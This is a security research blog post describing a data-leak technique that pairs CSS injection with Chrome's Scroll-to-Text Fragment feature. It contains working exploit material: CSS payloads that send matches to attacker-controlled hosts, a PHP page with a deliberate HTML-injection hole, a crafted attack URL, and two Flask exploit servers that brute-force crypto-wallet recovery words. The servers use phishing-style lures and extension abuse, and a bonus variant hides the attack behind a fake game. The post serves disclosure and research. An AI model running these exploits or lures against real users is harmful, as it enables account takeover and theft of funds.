New technique of stealing data using CSS and Scroll-to-Text Fragment feature.

CSS and Scroll-to-text

Some time ago, I received a link from a friend which included a new(ish) Chrome feature called “Scroll to Text Fragment”.

Its main purpose is to allow users to point someone to a specific position in a web page - example here - highlighting an important sentence or a word. I started wondering how this highlighting is done and quickly turned to a CSS specification document that describes selectors, as elements which could be used to set custom styles on a selected text fragment. This instantly piqued my curiosity as CSS can often be used to exfiltrate data and a few techniques are publicly demonstrated.

A few words about CSS exfiltration techniques

The general goal is to use CSS selectors, which apply to desired elements containing users’ secrets, and detect them remotely by setting the background-image value of that element, which in turn, would cause the fetching of the image from the attacker-controlled server.

For example, let us assume that a selector is applied only to an input element, whose attribute value starts with the character “a” and then the image is fetched from the attacker’s server, thus indicating that the CSS selector matched the secret character or a word in the target page.

input[value^="a"] { background: url('http://attacker.com/?char1=a'); }

There are sophisticated techniques with custom-defined fonts and detecting scroll-bar occurrence on a page, most of which are described here. In general, it all comes down to identifying a CSS selector and then using the URL function to transfer information back to attackers. That same methodology is used below.

Interesting CSS Pseudo-classes styling Scroll-to-Text Fragment

This set lacks the desirable background-image property, which allows fetching images, which, in our case, works as an indicator that CSS has been applied to the target text. Thankfully, we discovered that there is another suitable pseudo-class:

Note: When a URL fragment targets an element, the :target pseudo-class can be used to select it, but ::target-text does not match anything. It only matches text that is itself targeted by the [fragment].

Here things started to get interesting. In Example 36 we saw that we can use the “::before“ selector to place our image before the highlighted text fragment, which is what is needed to transfer successful match information back to us.

:target::before { content : url(target.png) }

PoC #1

Having all these pieces of information, we are able to demonstrate the attack. The target page contains the username of the logged-in user, and we want to confirm that the username is Administrator. Let us consider the following PHP web page, which has strict CSP where only inline styles are allowed:

<?php
header("Content-Security-Policy: default-src 'self'; object-src 'none'; script-src 'none'; base-uri 'none'; style-src 'unsafe-inline'; img-src *;");
?>
<!doctype html>
<meta charset=utf-8>
 <head>
     <title>Home - Internal web page</title>
 </head>
 <body>
     Hello Administrator,
     <p>Important updates</p>
     <div><?=$_GET['note']?></div>
 </body>
</html>

There is an HTML injection vulnerability, affecting the note parameter, which allows us to inject the following CSS styles:

<style>:target::before { content : url(http://attackers-domain/?confirmed_existence_of_Administrator_username) }</style>

We issue the following request, containing our custom CSS and STTF (Scroll-to-Text Fragment) to the victim:

http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:%20url(http://attackers-domain/?confirmed_existence_of_Administrator_username)%20}%3C/style%3E#:~:text=Administrator

and after the user navigates to it, we immediately receive a request for an image.

poc

Great. We have successfully confirmed that the user is an Administrator and we can now carry out further targeted attacks.

Although this does not seem like much, one needs to consider that a number of applications use seeds that create security phrases (non-BIP39 word generators) to be used as a password or a recovery password. A good example of these being used, are crypto wallets where this technique can prove to be a viable vector of attack.

Scroll-to-Text Fragment attack limitations

It would be great if we could extract secrets like tokens containing random characters. However, STTF was designed having security in mind so there were a few mitigations implemented before the feature was added to Chrome. Here is an awesome breakdown of those mitigations, alongside another method of detection that STTF was matched (lazy loading of the image placed before the target fragment will trigger the image load only on scrolling to the matched fragment).

There are three main mitigations:

  1. STTF can match only words or sentences on a web page, theoretically making it impossible to leak random secrets or tokens (unless we break down the secret in one-letter paragraphs).
  2. It is restricted to top-level browsing contexts, so it won’t work in an iframe, making the attack visible to the victim.
  3. User-activation gesture is needed for STTF to work, so only navigations that are a result of user actions are exploitable, which greatly decreases the possibility to automate the attack without user interaction. However, there are certain conditions that the author of the above blog post discovered that facilitate the automation of the attack. Another, similar case, will be presented in PoC#3.

During the writing of this post, an interesting bypass of the second mitigation was found by S1r1u5 (https://bugs.chromium.org/p/chromium/issues/detail?id=1214792), which has now been fixed. From the discussion, it seemed that Google accepted the risk of cross-origin highlight in iframes, which could facilitate further exploitation attempts by embedding many iframes in one page, each trying to leak information, however, it was not possible to verify it in Chrome versions other than 92.0.4515.39.

Attack surface

The aforementioned first limitation restricts exfiltration to 1 bit of information per attempt, which could still give attackers a wide range of possibilities, when you think about answers to questions like:

Another attack variant was already proposed in PoC#1 - attackers could target specific application users (e.g. administrators) and then carry out further attacks. For example, importing CSS style from the attacker-controlled server which will delay the response until receiving a hit confirming it’s an Administrator user, and applying malicious styles only then, which would then leak their secret tokens.

PoC #2 - bypassing user activation limitation with social engineering

To overcome user interaction limitations, we could leverage social engineering tricks, for example asking the user to hit the Enter key, which would transfer the user activation flag between redirects and try to match STTF.

Let’s consider the following vulnerable application that generates crypto wallet seed phrases or backup words needed in case of emergency account recovery. Stealing those codes would be equal to account takeover and theft of cryptocurrency funds. Again, the application has been configured with strict CSP and only allows for styles to be injected:

<?php
header("Content-Security-Policy: default-src 'self'; object-src 'none'; script-src 'none'; base-uri 'none'; style-src 'unsafe-inline'; img-src *;");
?>

<html>
<head>
    <title>CSS target exfil</title>
</head>
    <body>
        Hello, <?=$_GET['user'];?>
        <div>
            <h3>Recovery codes</h3>
            <div>
              <b>Put these in a safe spot.</b>
              If you lose your device and don't have the recovery codes you will lose access to your account.
            </div>    
        <ul>
            <li>Currant</li>
            <li>Blueberry</li>
            <li>Banana</li>
            <li>Blackberry</li>
            <li>Cherry</li>
            <li>Bilberry</li>            
        </ul>
        </div>
    </body>
</html>

Thus, the attacker's goal is to obtain the backup codes - the correct fruit values - in order to be able to reset the victim's password and takeover their account or funds. For that purpose, the attacker would have to prepare a wordlist containing a set of as many fruits as possible, to increase the probability that backup codes will be included in that set.

Then the attacker would iterate through the set of fruits and each time would redirect the victim to the vulnerable application while injecting CSS with our newly discovered pseudo-class (:target::before) and a link to gather *Enter* hits by the user. Every time the user hits *Enter* the process is going into a loop and new fruit values are used in the URL(STTF) and compared with the page contents so as to leak a successful match back to the attacker.

The attack itself consists of the following steps:

  1. Lure the user with a phishing message to visit an attacker-controlled page with implemented logic of the attack
  2. Repeat the steps below until there are no fruits left to exfiltrate from the gathered set
  3. Generate the redirect to the vulnerable application with the fruit in the STTF
  4. Inject CSS to possibly leak the fruit
  5. Inject an auto-focused anchor tag to capture Enter hits and jump to the second step

During all the steps above the victim has to keep the Enter key pressed in order to transfer the activation flag between redirects.

The sample implementation of the previous steps could look like the following:

from flask import Flask
from flask import request
import sys

app = Flask(__name__)

VICTIM = "http://victim:5000"
ATTACKER = "http://attacker:1337"

fruits_all = ["Apple","Apricot","Avocado","Banana","Bilberry","Blackberry","Blackcurrant","Blueberry","Boysenberry","Currant","Cherry","Cherimoya"]

def gen_redirect(try_fruit):
    return f"""<script>
    let injection = `
    <style>:target::before {{ content : url({ATTACKER}/receive/{try_fruit}) }}</style>
    <a href='{ATTACKER}/redirect' autofocus><h1>Hit Enter once again!</h1></a>`.replaceAll('\\n', ' ');
    location = `{VICTIM}/?user=${{encodeURIComponent(injection)}}#:~:text={try_fruit}`;
</script>
    """

i = 0
extracted_fruits = []

@app.route('/redirect')
def redirect():
    global i
    i+=1
    return gen_redirect(fruits_all[i-1]) if i <= len(fruits_all) else "Thank you for cooperation"

@app.route('/')
def solve():
    return f"""<a href='{ATTACKER}/redirect' autofocus>Hit Enter key to win a prize!</a><script>"""

@app.route('/receive/<word>')
def receiver(word):
    global extracted_fruits
    extracted_fruits.append(word)
    print("Stolen: ", extracted_fruits, flush=True, file=sys.stdout)
    return "ok"

and start the exploit using following command:

FLASK_APP=exploit.py flask run --port=1337

Exploit in action:

PoC #3 - bypassing user activation limitation with browser extensions

There are also other ways to bypass the existing mitigations. A similar method was already introduced by bluepichu in the aforementioned post. It has been found that the uBlock Origin Chrome extension can fulfill the user activation requirement. Nowadays many extensions are installed by users to deal with annoying Cookie consent popups and advertisements. Those extensions have defined built-in lists of HTML elements, in which Cookie consent and popups are usually placed, so as to be able to click/hide them. What if we could encapsulate our custom injected anchor tag in such an element that it would be clicked upon detection by the extension?

This time the steps for the attack will look like:

  1. Lure the user with a phishing message to visit an attacker controlled page with implemented logic of the attack
  2. Repeat the steps below until there are no fruits left to exfiltrate from the gathered set
  3. Generate the redirect to the vulnerable application
  4. Inject style to eventually leak the fruit
  5. Inject anchor tag with STTF wrapped into the cookie-bar class
  6. Inject meta refresh with a timeout to redirect back to step 2

and the sample implementation:

from flask import Flask
from flask import request
import sys

app = Flask(__name__)

VICTIM = "http://victim:5000"
ATTACKER = "http://attacker:1337"

fruits_all = ["Apple","Apricot","Avocado","Banana","Bilberry","Blackberry","Blackcurrant","Blueberry","Boysenberry","Currant","Cherry","Cherimoya"]

def gen_redirect(try_fruit):
    return f"""<script>
    let injection = `
    <style>:target::before {{ content : url({ATTACKER}/receive/{try_fruit}) }}</style>
    <div id="cookie-bar">
        <a href="#:~:text={try_fruit}" class="cb-disable"></a>
    </div>
    <meta http-equiv="refresh" content="1;URL='{ATTACKER}/redirect'">`.replaceAll('\\n', ' ');
    location = `{VICTIM}/?user=${{encodeURIComponent(injection)}}`;
</script>
    """

i = 0
extracted_fruits = []

@app.route('/redirect')
def redirect():
    global i
    i+=1
    return gen_redirect(fruits_all[i-1]) if i <= len(fruits_all) else "Thank you for cooperation"

@app.route('/')
def solve():
    return f"""Check this out!<script>
    onclick = () => {{
        let injection = `<meta http-equiv="refresh" content="0;URL='{ATTACKER}/redirect'">`;
        let url = `{VICTIM}/?user=`;
        location = url + encodeURIComponent(injection);
    }}
</script>
    """

@app.route('/receive/<word>')
def receiver(word):
    global extracted_fruits
    extracted_fruits.append(word)
    print("Stolen: ", extracted_fruits, flush=True, file=sys.stdout)
    return "ok"

Proof-of-Concept in action:

Summary

In this post, we introduced a new method to leak matching Scroll-to-Text fragments that will power the xsleaks collection as well as CSS exfiltration techniques. Although given the limitations described, the technique does not allow an attacker to reveal secrets it can be used to extract small chunks of information. Therefore, this attack can still affect the security goals of specific application platforms and their users.

Bonus PoC

As a bonus, PoC # 2 has been adjusted in such a way that an attacker could try to hide from the victim the fact that they are under attack by hiding the attack behind the visuals of a "game". Instead of the standard highlighting approach we have outlined above, this time we hide the original content and the iteration happens transparently each time the user hits *Enter*. As shown in the PoC video, each time a successful match occurs, the victim user is presented with a "YOU WIN" image instead of a standard highlight.

Bonus Proof-of-Concept in action:


and the link to the exploit script: https://github.com/SECFORCE/CSS_exfiltration/blob/master/bonus_poc_exploit.py

I would like to thank Michał Bentkowski for fruitful discussions during writing of this blog post :)

You may also be interested in...

SharpWhispersLogo
May 24, 2022

SharpASM / SharpWhispers

Stealthier code execution and direct system calls

See more
AWS-CIS-Checker Blog post
March 23, 2022

AWSome CIS Checker

Automating CIS Checks on AWS and performing suggestions on issue groups

See more